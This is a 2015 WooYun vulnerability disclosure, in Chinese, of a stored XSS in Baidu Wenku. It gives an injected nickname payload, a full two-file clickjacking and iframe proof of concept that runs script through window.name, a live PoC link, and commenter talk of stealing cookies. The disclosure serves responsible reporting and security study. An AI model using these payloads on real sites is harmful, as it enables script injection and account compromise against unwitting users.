当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-092465

漏洞标题：百度文库存储型XSS(指哪补哪留祸患)

相关厂商：百度

漏洞作者： 超威蓝猫

提交时间：2015-01-17 22:03

修复时间：2015-03-03 22:04

公开时间：2015-03-03 22:04

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-17： 细节已通知厂商并且等待厂商处理中
2015-01-19： 厂商已经确认，细节仅向厂商公开
2015-01-29： 细节向核心白帽子及相关领域专家公开
2015-02-08： 细节向普通白帽子公开
2015-02-18： 细节向实习白帽子公开
2015-03-03： 细节向公众公开

简要描述：

指哪补哪，100天过去了，漏洞的源头还没堵上。

详细说明：

注册一个新的QQ，将昵称修改为如下代码后，使用该QQ通过OAuth接口登录百度文库。

"onclick=eval(window.name)//


在任意公开的文档下面回复后：

sshot-2015-01-17-[1].png


参考http://wooyun.org/bugs/wooyun-2015-089971中提到的M神 @mramydnei 的代码构造如下poc来实现"在页面任意处点击来执行恶意JS":
P.S: 第一次打开这个PoC可能由于坐标计算问题无法触发XSS，重新打开一次即可。如果多次打开都无法触发XSS，那可能是由于坐标计算错误。
1.html

<style>
html, body {
  cursor: pointer;
}
#box, #box > * {
  position: absolute;
  width: 100px;
  height: 400px;
  border: 1px solid red;
  opacity: 0;
}
#victim {
  border: none;
}
</style>
<div id="box">
  <iframe id="victim" src="2.html" scrolling="no"></iframe>
</div>
<script src="http://s1.bdstatic.com/r/www/cache/static/jquery/jquery-1.10.2.min.js"></script>
<script>
$(document).mousemove(function(e) {
  var x = e.pageX;
  var y = e.pageY;
  $('#box').css({left: x - 50, top: y - 280});
});
</script>


2.html:

<style>
html, body {
  width: 5000px;
  height: 5000px;
}
</style>
<iframe width="800" height="500" src="http://wenku.baidu.com/view/7e384bc22cc58bd63186bd5c.html#ft" name="alert(location);this.href='file:///'">


感谢长短短 @Sogili 指点，这里使用了 this.href='file:///' 来避免a标签的href被打开(IE/Chrome均测试通过)。

漏洞证明：

PoC: http://218.66.75.117:8080/baidu0117_1.html

修复方案：

新年礼物 ._.

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-01-19 11:26

厂商回复：

感谢提交，已通知业务部门处理

最新状态：

暂无

漏洞评价：

评论

  1. 2015-01-17 22:29 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    能钓cookie不

  2. 2015-01-17 22:35 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:116 | STEAM_0:0:55968383)

    @0x 80 能，但关键的BDUSS受http-only保护

  3. 2015-01-17 22:35 | sqlfeng ( 普通白帽子 | Rank:109 漏洞数:16 | 谁送我HHKB,我就嫁给她！)

    前排~

  4. 2015-01-17 22:39 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:78 | ★ 梦想这条路踏上了，跪着也要...)

    没修复完整的错

  5. 2015-01-17 22:44 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @超威蓝猫 那还是不错了。！顶，你也知道现在网络限制的东西多得很

  6. 2015-01-18 00:59 | 金枪银矛小霸王 ( 普通白帽子 | Rank:103 漏洞数:25 | 不会挖洞洞的猿猿不是好学生)

    蓝猫一上线就发大财